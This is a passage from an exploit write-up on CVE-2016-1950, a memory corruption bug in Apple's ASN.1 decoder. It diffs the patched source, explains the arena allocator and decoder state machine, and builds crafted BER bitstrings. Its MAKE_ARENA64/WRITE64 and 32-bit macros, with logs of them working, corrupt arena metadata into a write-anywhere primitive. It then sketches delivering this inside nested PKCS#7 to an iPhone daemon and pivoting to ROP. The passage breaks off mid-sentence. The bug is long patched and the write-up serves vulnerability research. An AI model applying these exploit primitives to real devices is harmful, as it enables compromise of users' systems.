DER is very similar to BER, but with all that flexibility removed. Whereas BER has many ways to skin the cat, DER will provide only one, the canonical form. Because ASN.1 parsers tend to become very complex to handle all sorts of obscure BER input, they can become a rich source of bugs. -- 2 - Enter the bug For a very long time, security researchers have looked for software bugs using differential analysis, especially when the vendor is vague about the fixed vulnerabilities. Oftentimes, after a security update, it is worth diffing or -- when the source is not available -- bindiffing between the new version and the old one. Let's take a look at the security content of iOS 9.3 update[0], matching with OS X El Capitan v10.11.4 / Security Update 2016-002. Somewhere down the line, it says: Security: Impact: Processing a maliciously crafted certificate may lead to arbitrary code execution Description: A memory corruption issue existed in the ASN.1 decoder. This issue was addressed through improved input validation. CVE-2016-1950 : Francis Gabriel of Quarkslab OK, this sounds pretty bad. Or good, depending on the perspective. In this case the sources were available[2], so it was worth enough diffing them: $ diff -Naurp Security-57337.20.44 Security-57337.40.85 Most of the relevant code is in Security-57337.20.44/OSX/libsecurity_asn1/ and something interesting pops up in secasn1d.c.diff: // If this is a bit string, the length is bits, not bytes. Indeed, the old code looks somewhat fishy: PORT_Memcpy(item->Data + item->Length, buf, len); item->Length += len; ... and somewhere down the line... item->Length = (item->Length << 3) - state->bit_string_unused_bits; A quick glance tells us the bit vs byte confusion happens at concatenating multiple primitive bitstrings and smells like OOB write. The offset seems to jump geometrically higher and higher in `sec_asn1d_parse_leaf` and it is reachable from: sec_asn1d_parse_more_bit_string SEC_ASN1DecoderUpdate SEC_ASN1Decode SecAsn1Decode -- 2.0 - The allocator The decoder has its own memory allocator, an Arena Allocator[3], designed to be simple and fast. Introduced by Douglas T. Ross around 1967, it was later demonstrated by Hanson in 1990 that Arenas are the fastest memory management solution. In its simplest form, an Arena Allocator cuts consecutive slices from a big block of memory, which was previously requested from the Operating System. These blocks are considered "large" by the system allocator, and therefore happen to be aligned to at least 256 bytes. When the current Arena block is exhausted a new block is requested from the OS and the process is repeated. Usually the memory is freed all-at-once, if at all. The ASN.1 decoder allocates memory via `sec_asn1d_[z]alloc` which calls `PORT_ArenaAlloc` in secport.c, which in turn calls `PL_ARENA_ALLOCATE` in plarena.h The freeing is done by `PORT_FreeArena` which calls `PL_CLEAR_ARENA` macro for each linked Arena. It was supposed to nuke the memory contents, but in Release mode it does nothing, which allows us to get away without crashing after we start manipulating the Arena meta-data. OK, that was a spoiler... The memory manager consists of two pools, each pool containing a linked list of Arenas. `our_pool` holds arenas for state objects and temporary storage, and `their_pool` keeps the destination structures. Each Arena is being defined by the following structure: struct PLArena { PLArena *next; /* next arena for this lifetime */ PRUword base; /* aligned base address, follows this header */ PRUword limit; /* one beyond last byte in arena */ PRUword avail; /* points to next available byte */ }; Which is laid out in memory: +------------------+ | v +------+------+-------+-------+-------------------+ | next | base | limit | avail | ... USED|FREE ... | +------+------+-------+-------+-------------------+ | | ^ ^ | +-------------+ | +-------------------------------+ After one `PORT_ArenaAlloc`, avail moves toward the limit: +------+------+-------+-------+-------------------+ | next | base | limit | avail | ... USED ...|FREE | +------+------+-------+-------+-------------------+ | | ^ ^ | +-----------------+ | +-------------------------------+ When an Arena is exhausted, a new one is linked in and the process repeats. At any given time, we are guaranteed that the next allocation will happen between `avail` and `limit`. -- 2.1 - The state machine As it turns out, we can build libasn1.dylib from the published sources: we change to Security-57337.20.44/OSX/libsecurity_asn1/ and, after a bit of plumbing, we can finally type "make". This allows us to instrument/debug the library and visualise the allocations, the state transitions, etc. Our business is in Security-57337.20.44/OSX/libsecurity_asn1/secasn1d.c, please keep an eye on it, there will be a lot of code snippets as we move forward. Let's investigate how the ASN.1 parsing really works. The decoder is driven by the so-called templates, which define a decoding schema for the expected input. For example, when decoding a signed X.509 certificate, it will use `kSecAsn1SignedCertTemplate`. A template may contain various subtemplates: `kSecAsn1TBSCertificateTemplate`, `kSecAsn1AlgorithmIDTemplate` and so on. This mechanism makes sure the elements come in the required order and the parsing stops if the consumed element does not match the expected type: Template (expected) Input data (actual) Element type <==+==> Element v Element type <==+==> Element v Element type <==+==> Element X Element type <==!==> Wrong element The state of the currently parsed element is kept in `sec_asn1d_state`, a structure containing various flags, sub-items and a pointer to the current template -- this will become important a bit later. The state object looks like this: typedef struct sec_asn1d_state_struct { SEC_ASN1DecoderContext *top; const SecAsn1Template *theTemplate; void *dest; // SecAsn1Item *item ... struct sec_asn1d_state_struct *parent; ... unsigned int bit_string_unused_bits; struct subitem *subitems_head; struct subitem *subitems_tail; ... } sec_asn1d_state; Small note: during this writeup, `item` will always refer to `state->dest` and may be used interchangeably hereinafter. The ASN.1 parser consumes the input, allocating memory as it goes. For each element, a state object and the actual data are laid down in memory inside whatever Arena is active at that given point. +------+------+-------+-------+-----------------------------------+ | next | base | limit | avail | STATE, DATA, STATE, DATA ...|FREE | +------+------+-------+-------+-----------------------------------+ | | ^ ^ | +---------------------------------+ | +-----------------------------------------------+ Now we can build a simple example, a constructed bitstring composed of two primitive bitstrings: len = 256; CONS_BITSTRING(len); REP_BITSTRING(0, 10, 'a'); if (len) { START_BITSTRING(0, len - 1); while (len) { PUSH1('z'); } } The above pseudo-code will generate: 23 constructed bitstring 82 01 00 length (2 byte long form): 0x100 bytes 03 primitive bitstring 0B length: 11 bytes, including the unused bits specifier 00 number of unused bits, trailing at the end of the last byte "aaaaaaaaaa" 03 primitive bitstring 81 F0 length (1 byte long form): 240 bytes 00 number of unused bits, trailing at the end of the last byte "zzz..." Which can be decoded with the following call to libasn1.dylib: SecAsn1Decode(input, input_size, kSecAsn1BitStringTemplate, &output); We get this: new ARENA -> o_pool/0x7fab29003020 of size 2087 sec_asn1d_push_state:429: zalloc(144) -> 0x7fab29003070 in arena o_pool/0x7fab29003020 (left 1831) new ARENA -> t_pool/0x7fab29000020 of size 1063 sec_asn1d_prepare_for_contents:1458: zalloc(256) -> 0x7fab29000020 in arena t_pool/0x7fab29000020 (left 775) sec_asn1d_push_state:429: zalloc(144) -> 0x7fab29003100 in arena o_pool/0x7fab29003020 (left 1687) STATE transition 0x7fab29003070 -> 0x7fab29003100 sec_asn1d_parse_leaf: memcpy(0x7fab29000020 + 0 = 0x7fab29000020, "6161616161616161", 10) <-- [A] adjusting item->len (10) to 80, unused=0x0 <-- [B] STATE transition 0x7fab29003100 -> 0x7fab29003070 STATE transition 0x7fab29003070 -> 0x7fab29003100 sec_asn1d_parse_leaf: memcpy(0x7fab29000020 + 80 = 0x7fab29000070, "7a7a7a7a7a7a7a7a", 239) <-- [C] sec_asn1d_parse_leaf: pre-existing value = 0x0 adjusting item->len (319) to 2552, unused=0x0 STATE transition 0x7fab29003100 -> 0x7fab29003070 STATE transition 0x7fab29003070 -> 0x0 `zalloc(144)` is allocating a new state object. `zalloc(256)` is allocating space for the bitstring itself. And we observe the two memcpy: memcpy(0x7fab29000020 + 0 = 0x7fab29000020, "6161616161616161", 10) // the 1st memcpy: [A] memcpy(0x7fab29000020 + 80 = 0x7fab29000070, "7a7a7a7a7a7a7a7a", 239) // the 2nd memcpy: [C] That is, the state machine is concatenating the two primitive bitstrings to create the final constructed bitstring. But the bitstring pieces should be adjacent, yet they are not, because: PORT_Memcpy(item->Data + item->Length, buf, len); item->Length += len; ... item->Length = (item->Length << 3) - state->bit_string_unused_bits; At each concatenation, `item->Length` is used as an offset and then it is updated, growing exponentially higher by roughly a factor of 8, as seen above at [B]. The good news is that the overflow works. The bad news is that the memcpy happens in `their_pool` Arena, whereas the state objects are allocated in `our_pool` Arena. This is not great, since it may be difficult to massage `their_pool` Arenas and -- even if we pull it off -- there may be nothing interesting there. We want `our_pool` Arenas, because that's where the state objects are. -- 2.2 - The subtle flaw By carefully analysing the state machine for whatever ways of switching to `our_pool`, we notice a weird thing in `sec_asn1d_parse_bit_string`: if ((state->pending == 0) || (state->contents_length == 1)) { if (state->dest != NULL) { SecAsn1Item *item = (SecAsn1Item *)(state->dest); item->Data = NULL; // <-- [D] item->Length = 0; state->place = beforeEndOfContents; } if (state->contents_length == 1) { /* skip over (unused) remainder byte */ return 1; } else { return 0; } } It looks like a shortcut for empty primitive strings. It essentially nukes the destination item and switches to `beforeEndOfContents`. It looks almost legit, except it is throwing away the old `item->Data` by setting it to NULL, as seen at [D]. Then, when the next bitstring component arrives, `sec_asn1d_prepare_for_contents` sees that `item` is nuked and allocates it anew, but this time in `our_pool`. The allocation size is fit to accomodate the last length that was parsed. And here things start to become interesting. A constructed bitstring has a total length and then each component has its own length (all of these must sum up to the total). If we enter `sec_asn1d_prepare_for_contents` right after the shortcut, the parser must have already parsed the next component and the last parsed length will be of that component, which is smaller than the total. What we just achieved was to throw away the good `item->Data` (sized for the grand total) and replace it with a new `item->Data` (sized for the next component after the shortcut). If the shortcut didn't exist, then `sec_asn1d_prepare_for_contents` would have not allocated `item->Data` again, and the size of the allocation would have remained fit for the grand total. This is a bug in its own right, but more on that later... The switch to `our_pool` was our goal, and we got it: alloc_len = state->contents_length; ... if (item == NULL || state->top->filter_only) { ... } else if (state->substring) { /* * If we are a substring of a constructed string, then we may * not have to allocate anything (because our parent, the * actual constructed string, did it for us). If we are a * substring and we *do* have to allocate, that means our * parent is an indefinite-length, so we allocate from our pool; * later our parent will copy our string into the aggregated * whole and free our pool allocation. */ if (item->Data == NULL) { PORT_Assert (item->Length == 0); poolp = state->top->our_pool; } else { alloc_len = 0; } } else { ... } if (alloc_len || ...) { ... if (item) { item->Data = (unsigned char*)sec_asn1d_zalloc (poolp, alloc_len); } ... } Let's try again, forcing the switch to `our_pool` by introducing an empty bitstring aka the shortcut aka the breaker aka the key to the kingdom: CONS_BITSTRING(len); // item->Data is a block of size=len in their_pool START_BITSTRING(0, 0); // nuke item->Data REP_BITSTRING(0, 10, 'a'); // new item->Data is a block of size=10+1 in our_pool if (len) { START_BITSTRING(0, len - 1); while (len) { PUSH1('z'); } } new ARENA -> o_pool/0x7f84fc803020 of size 2087 sec_asn1d_push_state:429: zalloc(144) -> 0x7f84fc803070 in arena o_pool/0x7f84fc803020 (left 1831) new ARENA -> t_pool/0x7f84fc800020 of size 1063 sec_asn1d_prepare_for_contents:1458: zalloc(256) -> 0x7f84fc800020 in arena t_pool/0x7f84fc800020 (left 775) sec_asn1d_push_state:429: zalloc(144) -> 0x7f84fc803100 in arena o_pool/0x7f84fc803020 (left 1687) STATE transition 0x7f84fc803070 -> 0x7f84fc803100 STATE transition 0x7f84fc803100 -> 0x7f84fc803070 STATE transition 0x7f84fc803070 -> 0x7f84fc803100 sec_asn1d_prepare_for_contents:1458: zalloc(11) -> 0x7f84fc803190 in arena o_pool/0x7f84fc803020 (left 1671) sec_asn1d_parse_leaf: memcpy(0x7f84fc803190 + 0 = 0x7f84fc803190, "6161616161616161", 10) adjusting item->len (10) to 80, unused=0x0 STATE transition 0x7f84fc803100 -> 0x7f84fc803070 STATE transition 0x7f84fc803070 -> 0x7f84fc803100 sec_asn1d_parse_leaf: memcpy(0x7f84fc803190 + 80 = 0x7f84fc8031e0, "7a7a7a7a7a7a7a7a", 236) adjusting item->len (316) to 2528, unused=0x0 STATE transition 0x7f84fc803100 -> 0x7f84fc803070 STATE transition 0x7f84fc803070 -> 0x0 `sec_asn1d_zalloc(11)` is allocating a temporary buffer of size 10+1. The parser creates a temporary buffer, which resides in `our_pool`, and it is using it to agglutinate the complete bitstring. But this buffer is only sized for the first part -- the 'a' part of size 10+1 -- and therefore it is much smaller than it should be. Remember that `our_pool` is a list of Arenas holding either state objects or temporary input data: "aaaaaaaaaa" "zzz..." +-------------+-------+-------+---------------------------------------+ | next | base | limit | avail | STATE, STATE, TEMPORARY |FREE... | +-------------+-------+-------+---------------------------------------+ | | ^ ^ | +-----------------------------+ | +---------------------------------------------------+ Let's try again, but force another state object allocation after our short buffer which gets overflowed. We insert a nested constructed bitstring and see what happens. Yes, BER allows it. Yes, it is really that bad... CONS_BITSTRING(len); START_BITSTRING(0, 0); CONS_BITSTRING(3 + 10); REP_BITSTRING(0, 10, 'a'); if (len) { START_BITSTRING(0, len - 1); while (len) { PUSH1('z'); } } new ARENA -> o_pool/0x7f91f3803020 of size 2087 sec_asn1d_push_state:429: zalloc(144) -> 0x7f91f3803070 in arena o_pool/0x7f91f3803020 (left 1831) new ARENA -> t_pool/0x7f91f3800020 of size 1063 sec_asn1d_prepare_for_contents:1458: zalloc(256) -> 0x7f91f3800020 in arena t_pool/0x7f91f3800020 (left 775) sec_asn1d_push_state:429: zalloc(144) -> 0x7f91f3803100 in arena o_pool/0x7f91f3803020 (left 1687) STATE transition 0x7f91f3803070 -> 0x7f91f3803100 STATE transition 0x7f91f3803100 -> 0x7f91f3803070 STATE transition 0x7f91f3803070 -> 0x7f91f3803100 sec_asn1d_prepare_for_contents:1458: zalloc(13) -> 0x7f91f3803190 in arena o_pool/0x7f91f3803020 (left 1671) sec_asn1d_push_state:429: zalloc(144) -> 0x7f91f38031a0 in arena o_pool/0x7f91f3803020 (left 1527) STATE transition 0x7f91f3803100 -> 0x7f91f38031a0 sec_asn1d_parse_leaf: memcpy(0x7f91f3803190 + 0 = 0x7f91f3803190, "6161616161616161", 10) sec_asn1d_parse_leaf: pre-existing value = 0x0 adjusting item->len (10) to 80, unused=0x0 STATE transition 0x7f91f38031a0 -> 0x7f91f3803100 STATE transition 0x7f91f3803100 -> 0x7f91f3803070 STATE transition 0x7f91f3803070 -> 0x7f91f3803100 sec_asn1d_parse_leaf: memcpy(0x7f91f3803190 + 80 = 0x7f91f38031e0, "7a7a7a7a7a7a7a7a", 234) sec_asn1d_parse_leaf: pre-existing value = 0x3 adjusting item->len (314) to 2512, unused=0x0 STATE transition 0x7f91f3803100 -> 0x7f91f3803070 STATE transition 0x7f91f3803070 -> 0x0 It is pretty obvious that we can overwrite the state object of the nested constructed bitstring. "aaaaaaaaaa" "zzz..." +-------------+-------+-------+---------------------------------------+ | next | base | limit | avail | STATE, STATE, TEMPORARY, STATE|FREE...| +-------------+-------+-------+---------------------------------------+ | | ^ ^ | +-----------------------------------+ | +---------------------------------------------------+ However, by the time the second string gets copied, the nested state object is abandoned, and nothing happens. We deduce the actual smash must happen inside the nested constructed bitstring: CONS_BITSTRING(len); START_BITSTRING(0, 0); CONS_BITSTRING(3 + 10 + 3 + 64); REP_BITSTRING(0, 10, 'a'); REP_BITSTRING(0, 64, 'b'); // smashes the active state object if (len) { START_BITSTRING(0, len - 1); while (len) { PUSH1('z'); } } new ARENA -> o_pool/0x7fa27d003020 of size 2087 sec_asn1d_push_state:429: zalloc(144) -> 0x7fa27d003070 in arena o_pool/0x7fa27d003020 (left 1831) new ARENA -> t_pool/0x7fa27d000020 of size 1063 sec_asn1d_prepare_for_contents:1458: zalloc(256) -> 0x7fa27d000020 in arena t_pool/0x7fa27d000020 (left 775) sec_asn1d_push_state:429: zalloc(144) -> 0x7fa27d003100 in arena o_pool/0x7fa27d003020 (left 1687) STATE transition 0x7fa27d003070 -> 0x7fa27d003100 STATE transition 0x7fa27d003100 -> 0x7fa27d003070 STATE transition 0x7fa27d003070 -> 0x7fa27d003100 sec_asn1d_prepare_for_contents:1458: zalloc(80) -> 0x7fa27d003190 in arena o_pool/0x7fa27d003020 (left 1607) sec_asn1d_push_state:429: zalloc(144) -> 0x7fa27d0031e0 in arena o_pool/0x7fa27d003020 (left 1463) STATE transition 0x7fa27d003100 -> 0x7fa27d0031e0 sec_asn1d_parse_leaf: memcpy(0x7fa27d003190 + 0 = 0x7fa27d003190, "6161616161616161", 10) sec_asn1d_parse_leaf: pre-existing value = 0x0 adjusting item->len (10) to 80, unused=0x0 STATE transition 0x7fa27d0031e0 -> 0x7fa27d003100 STATE transition 0x7fa27d003100 -> 0x7fa27d0031e0 sec_asn1d_parse_leaf: memcpy(0x7fa27d003190 + 80 = 0x7fa27d0031e0, "6262626262626262", 64) sec_asn1d_parse_leaf: pre-existing value = 0x7fa27d003020 Great! We can now smash an active state object while it is being accessed. -- 2.3 - The strategy Looking at the `sec_asn1d_state` structure, we realise there are many flags that we can smash, which may or may not confuse the ASN.1 parser state machine. And there are many pointers which we can do partial overwrites on, which has the effect of moving them to another controlled area inside the current Arena. However tempting is to try all of these, we realise there is a low-hanging fruit in there. Recall how the overwrite offset is computed: item->Length += len; ... item->Length = (item->Length << 3) - state->bit_string_unused_bits; By making the `bit_string_unused_bits` large, we can have `item->Length` going negative. This has the effect of having `item->Data + item->Length` pointing somewhere to a smaller address, which can be used to smash other state objects, allocated previously. But then, we end up with the same problem, and then we'd have to figure out what state field to smash again. A better target is to smash the Arena structure itself. This is a meta-data attack. It works because the allocations inside an Arena are predictable by design. In fact, we know our bitstrings will always be laid out at the same distance from the start of the active Arena, for a given input. +---+ "aaaaaaaaaa" v +------+------+-------+-------+-------------------------------+ | next | base | limit | avail | ... TEMPORARY, STATE|FREE ... | +------+------+-------+-------+-------------------------------+ ^ | +---------------------------- dest -+ After we do this, we trigger another allocation, with another bitstring. If we get it right we can manipulate Arena `limit/avail`, effectively gaining an allocate-anywhere primitive. And if we follow up with another bitstring, we have gained a write-anywhere primitive. CONS_BITSTRING(len); START_BITSTRING(0, 0); CONS_BITSTRING(3 + 19 + 3 + 4); REP_BITSTRING(4, 19, 'a'); // filler START_BITSTRING(0, 4); // smash bit_string_unused_bits PUSH4((19 * 8 - 4 + 4) * 8 + (0x3190 - 0x3020) + 2*8); START_BITSTRING(0, 16); // smash the Arena PUSH8(0x4141414141414140 + 16); // limit PUSH8(0x4141414141414140); // avail START_BITSTRING(0, 0); // trigger new allocation REP_BITSTRING(0, 1, 'b'); // trigger new memcpy over allocation if (len) { START_BITSTRING(0, len - 1); while (len) { PUSH1('z'); } } If the above seems somewhat confusing, refer to "openssl asn1parse" output: 0:d=0 hl=4 l= 256 cons: BIT STRING 4:d=1 hl=2 l= 1 prim: BIT STRING // break, trigger allocation 7:d=1 hl=2 l= 29 cons: BIT STRING 9:d=2 hl=2 l= 20 prim: BIT STRING // filler: "aaa..." 31:d=2 hl=2 l= 5 prim: BIT STRING // bit_string_unused_bits 38:d=1 hl=2 l= 17 prim: BIT STRING // destination: Arena limit/avail 57:d=1 hl=2 l= 1 prim: BIT STRING // break, trigger fake alloc 60:d=1 hl=2 l= 2 prim: BIT STRING // write value: "b" 64:d=1 hl=3 l= 193 prim: BIT STRING // remainder "zzz..." new ARENA -> o_pool/0x7ffe62803020 of size 2087 sec_asn1d_push_state:429: zalloc(144) -> 0x7ffe62803070 in arena o_pool/0x7ffe62803020 (left 1831) new ARENA -> t_pool/0x7ffe62800020 of size 1063 sec_asn1d_prepare_for_contents:1458: zalloc(256) -> 0x7ffe62800020 in arena t_pool/0x7ffe62800020 (left 775) sec_asn1d_push_state:429: zalloc(144) -> 0x7ffe62803100 in arena o_pool/0x7ffe62803020 (left 1687) STATE transition 0x7ffe62803070 -> 0x7ffe62803100 STATE transition 0x7ffe62803100 -> 0x7ffe62803070 STATE transition 0x7ffe62803070 -> 0x7ffe62803100 sec_asn1d_prepare_for_contents:1458: zalloc(29) -> 0x7ffe62803190 in arena o_pool/0x7ffe62803020 (left 1655) sec_asn1d_push_state:429: zalloc(144) -> 0x7ffe628031b0 in arena o_pool/0x7ffe62803020 (left 1511) STATE transition 0x7ffe62803100 -> 0x7ffe628031b0 sec_asn1d_parse_leaf: memcpy(0x7ffe62803190 + 0 = 0x7ffe62803190, "6161616161616161", 19) sec_asn1d_parse_leaf: pre-existing value = 0x0 adjusting item->len (19) to 148, unused=0x4 STATE transition 0x7ffe628031b0 -> 0x7ffe62803100 STATE transition 0x7ffe62803100 -> 0x7ffe628031b0 sec_asn1d_parse_leaf: memcpy(0x7ffe62803190 + 148 = 0x7ffe62803224, "640", 4) sec_asn1d_parse_leaf: pre-existing value = 0x0 adjusting item->len (152) to 18446744073709551232, unused=0x640 STATE transition 0x7ffe628031b0 -> 0x7ffe62803100 STATE transition 0x7ffe62803100 -> 0x7ffe62803070 STATE transition 0x7ffe62803070 -> 0x7ffe62803100 sec_asn1d_parse_leaf: memcpy(0x7ffe62803190 + 18446744073709551232 = 0x7ffe62803010, "4141414141414150", 16) sec_asn1d_parse_leaf: pre-existing value = 0x7ffe62803827 adjusting item->len (18446744073709551248) to 18446744073709548672, unused=0x0 STATE transition 0x7ffe62803100 -> 0x7ffe62803070 STATE transition 0x7ffe62803070 -> 0x7ffe62803100 STATE transition 0x7ffe62803100 -> 0x7ffe62803070 STATE transition 0x7ffe62803070 -> 0x7ffe62803100 sec_asn1d_prepare_for_contents:1458: zalloc(2) -> 0x4141414141414140 in arena o_pool/0x0 (left -1) sec_asn1d_parse_leaf: memcpy(0x4141414141414140 + 0 = 0x4141414141414140, "62", 1) sec_asn1d_parse_leaf: pre-existing value = 0x0 adjusting item->len (1) to 8, unused=0x0 STATE transition 0x7ffe62803100 -> 0x7ffe62803070 STATE transition 0x7ffe62803070 -> 0x7ffe62803100 sec_asn1d_parse_leaf: memcpy(0x4141414141414140 + 8 = 0x4141414141414148, "7a7a7a7a7a7a7a7a", 192) sec_asn1d_parse_leaf: pre-existing value = 0x0 adjusting item->len (200) to 1600, unused=0x0 STATE transition 0x7ffe62803100 -> 0x7ffe62803070 STATE transition 0x7ffe62803070 -> 0x0 We got our write-anywhere: memcpy(0x4141414141414140 + 0, "62", 1) but apparently the remainder of the string is also written somewhere around that address. We will address this issue momentarily (pun intended). First, let's explain our contraption above. There are two magic values in our bitstring: the value with which to overwrite `bit_string_unused_bits`, and the length of the filler. The former is given by the offset of the temporary buffer inside our current Arena. It does vary depending on what elements have been processed before our bitstring, but for a given input it is considered constant: D = 0x7fb191003190 - 0x7fb191003020 // actual values do not matter The latter can be calculated with the following formula: K = (116=offsetof(sec_asn1d_state, bit_string_unused_bits) + round8(K + 10) + 4=bit_string_unused_bits) / 8 We find that K=19 satisfies the equation and it is a constant allowing us to reach `state->bit_string_unused_bits`. Now we can sum up all the above into a write-anywhere primitive: #define MAKE_ARENA64(filler, arena_used, lower_bound, upper_bound) \ do { \ CONS_BITSTRING(10 + 19); \ REP_BITSTRING(4, 19, filler); \ \ START_BITSTRING(0, 4); \ PUSH4((19 * 8 - 4 + 4) * 8 + (arena_used) + 2*8); \ \ START_BITSTRING(0, 16); \ PUSH8(upper_bound); \ PUSH8(lower_bound); \ } while (0) #define WRITE64(clean, x) \ do { \ START_BITSTRING(0, 0); \ if (clean) { \ START_BITSTRING(7, 1); \ PUSH1(x); \ START_BITSTRING(0, 7); \ PUSH7((x) >> 8); \ } else { \ START_BITSTRING(0, 8); \ PUSH8(x); \ } \ } while (0) And finally, our code looks like this: CONS_BITSTRING(len); START_BITSTRING(0, 0); // break MAKE_ARENA64('a', 0x3190 - 0x3020, 0x4141414141414140, 0x4141414141414150); WRITE64(0, 0x4242424242424242); // break & write if (len) { START_BITSTRING(0, 0); // break for clean exit START_BITSTRING(0, len - 1); while (len) { PUSH1('z'); } } It essentially translates to: memset(0x4141414141414140, 0, sizeof(0x4242424242424242) + 1); *(uint64_t *)0x4141414141414140 = 0x4242424242424242; You will notice there are 3 breakers. One just before hijacking the current Arena. Another one inside the arbitrary write, and the last one just before the remainder of the string. The last one makes sure further ASN.1 parsing resumes in a normal way, without even crashing. This is possible because we designed our fake Arena as small as possible, just enough to accommodate one write; any further allocs will link in new legit Arenas. To sum it up, we smash a state object to manipulate the current Arena. This will coerce `sec_asn1d_zalloc` into returning the address we want, and make this fake Arena look exhausted after one write. Then we just copy our value at the aforementioned address. There is one minor inconvenience though: the destination address is subject to a zeroing step, which goes one byte past our write size. In order to fix the bleeding, we have to do a multi-stage write (WRITE64 has a parameter to correct this automatically if needed): // write n bytes START_BITSTRING(0, 0); // break START_BITSTRING(7, 1); // sec_asn1d_zalloc, then memset(dest, 0, 1 + 1) PUSH1(first); // write first byte. item->Length = (0 + 1) * 8 - 7 START_BITSTRING(0, n); PUSHB(next); // next bytes get written at offset +1 And finally, we can do as many writes as we want, by repeating the process: CONS_BITSTRING(len); START_BITSTRING(0, 0); MAKE_ARENA64('a', 0x3190 - 0x3020, 0x4141414141414140, 0x4141414141414140 + 16); WRITE64(0, 0x4242424242424242); START_BITSTRING(0, 0); MAKE_ARENA64('a', 0, 0x4343434343434340, 0x4343434343434340 + 16); WRITE64(0, 0x4444444444444444); if (len) { START_BITSTRING(0, 0); START_BITSTRING(0, len - 1); while (len) { PUSH1('z'); } } Which translate into: *(uint64_t *)0x4141414141414140 = 0x4242424242424242; *(uint64_t *)0x4343434343434340 = 0x4444444444444444; Notice the subsequent writes, and their respective Arenas, start afresh. It means D must be always zero after the first one. The reasoning is almost identical for 32bit, we just need to find D and K. D can be found experimentally: D = 0x7a1f18e8 - 0x7a1f1810 // actual values do not matter And then K is found with the following formula: K = (64=offsetof(sec_asn1d_state, bit_string_unused_bits) + round8(K + 10) + 0=bit_string_unused_bits) / 8 Once we found D and K=11, we can write a similar Arena primitive: #define MAKE_ARENA32(filler, arena_used, lower_bound, upper_bound) \ do { \ CONS_BITSTRING(10 + 11); \ REP_BITSTRING(0, 11, filler); \ \ START_BITSTRING(0, 4); \ PUSH4((11 * 8 - 0 + 4) * 8 + (arena_used) + 2*4); \ \ START_BITSTRING(0, 8); \ PUSH4(upper_bound); \ PUSH4(lower_bound); \ } while (0) #define WRITE32(clean, x) \ do { \ START_BITSTRING(0, 0); \ if (clean) { \ START_BITSTRING(7, 1); \ PUSH1(x); \ START_BITSTRING(0, 3); \ PUSH3((x) >> 8); \ } else { \ START_BITSTRING(0, 4); \ PUSH4(x); \ } \ } while (0) allowing us to kickstart the write-anywhere: MAKE_ARENA32('a', 0x8e8 - 0x810, 0x41414140, 0x41414140 + 16); What we got is an extremely reliable primitive which can write constant values at constant addresses. Let's see if we can put them to good use. -- 3 - Exploit techniques We need to target some application or daemon that listens and accepts ASN.1 encoded data. So far, we have experimented on bare bitstrings, but that is extremely unlikely any real world application would ask for. We need some standard containers, such as an X.509 certificate or a PKCS#7 structure, ready to be consumed. A certificate's signature is indeed a bitstring that we can manipulate, but that renders the certificate invalid. Our exploit would need to fully achieve its goal before the certificate is validated. For now, let's suppose our victim is a daemon that consumes PKCS#7 and extracts the certificate for later validation. It accomplishes this with a call to `SecCMSCertificatesOnlyMessageCopyCertificates`. That function can be found inside the Security framework, and it uses `SecCmsMessageDecode` to parse the incoming PKCS#7, which in turn uses `SEC_ASN1DecoderUpdate`. -- 3.0 - PKCS#7 PKCS#7 stands for Cryptographic Message Syntax (aka CMS). It is a standard for storing signed and/or encrypted data, described by RFC 3369[4]. Looking at Security-57337.20.44/OSX/libsecurity_smime/lib/cmsasn1.c, we see that we can find only one occurence of `kSecAsn1BitStringTemplate`. Recall the parser is driven by templates, so we know the ASN.1 parser will expect a bitstring wherever it hits that template. Tracing back, we get: SecCmsOriginatorPublicKeyTemplate SecCmsOriginatorIdentifierOrKeyTemplate SecCmsKeyAgreeRecipientInfoTemplate SecCmsRecipientInfoTemplate SecCmsEnvelopedDataTemplate NSS_PointerToCMSEnvelopedDataTemplate nss_cms_choose_content_template() nss_cms_chooser SecCmsMessageTemplate SecCmsDecoderCreate() SecCmsMessageDecode() It looks like we need to craft an enveloped PKCS#7. However, our target expects a signed PKCS#7, which looks roughly like this: cons: SEQUENCE prim: OBJECT :pkcs7-signedData cons: cont [ 0 ] cons: SEQUENCE prim: INTEGER :01 cons: SET cons: SEQUENCE prim: OBJECT :pkcs7-data cons: cont [ 0 ] cons: SET But wait. We can stash an enveloped PKCS#7 instead of raw pkcs7-data. cons: SEQUENCE prim: OBJECT :pkcs7-signedData cons: cont [ 0 ] cons: SEQUENCE prim: INTEGER :01 cons: SET cons: SEQUENCE prim: OBJECT :sha1 prim: NULL cons: SEQUENCE prim: OBJECT :pkcs7-envelopedData cons: cont [ 0 ] prim: OCTET STRING [HEX DUMP]: cons: cont [ 0 ] cons: SET The enveloped data must be a valid ASN.1 encoding, matching the templates we saw above. Roughly speaking, this is the equivalent of the following: $ echo "Hello world" > input.txt $ openssl ecparam -name secp521r1 -genkey -param_enc explicit -out private-key.pem $ openssl req -new -x509 -key private-key.pem -out server.pem -days 730 $ openssl cms -encrypt -binary -aes256 -in input.txt -outform DER -out encrypted.der server.pem $ openssl cms -inform DER -in encrypted.der -cmsout -print encrypted.der looks somewhat like this: cons: SEQUENCE prim: INTEGER :02 cons: SET cons: cont [ 1 ] cons: SEQUENCE prim: INTEGER :03 cons: cont [ 0 ] cons: cont [ 2 ] cons: SEQUENCE cons: SEQUENCE prim: OBJECT :id-ecPublicKey prim: BIT STRING Great! There's our bitstring. We know the inner PKCS#7 will be handled by a recursive call to `SecCmsMessageDecode`, and the error code of that parser, if any, is totally discarded. This can be observed in `nss_cms_before_data` and `nss_cms_decoder_work_data` respectively. It seems pretty good from our perspective, because we do not need to worry whether the inner ASN.1 ends abruptly and, most importantly, the recursive call to `SecCmsMessageDecode` will create fresh Arenas. Remember our D constant when invoking the first MAKE_ARENA64? Yeah, it will be unchanged between runs. It seems we can have our cake and eat it. But not just yet... Let's recap what we have so far. We build our bitstring inside an enveloped PKCS#7, which is contained in a signed PKCS#7 allowing us to write constant values at constant addresses. All those constant values and addresses come from the input itself. -- 3.1 - Building blocks Our target daemon is running on an iPhone, listening to USB and is ready to consume the crafted PKCS#7. Back in 2016, USB restricted mode wasn't even a thing and a lot of daemons were running Before First Unlock. The full exploit itself is beyond the scope of this article and is left as an exercise for the reader. The bug has been patched years ago, and it does not preserve any value whatsoever today, except illustrating my thought process at the time and introducing some creative ways of subverting the ASN.1 decoding machinery, as we shall see below. The basic idea is to first leak out the shared cache slide, then build a relocated ROP strip offline, then send it back, and then finally pivot to it. A couple of guiding lines are laid below, and mock-ups are included in the attached source code: step1 - the bruteforcer - preparatory step for guessing the scratch, step2 - buffer switching - used for leaking out the shared cache slide, step3 - the ROP pivot - the actual exploit payload. We will now mostly concentrate on step2 and step3 because they contain 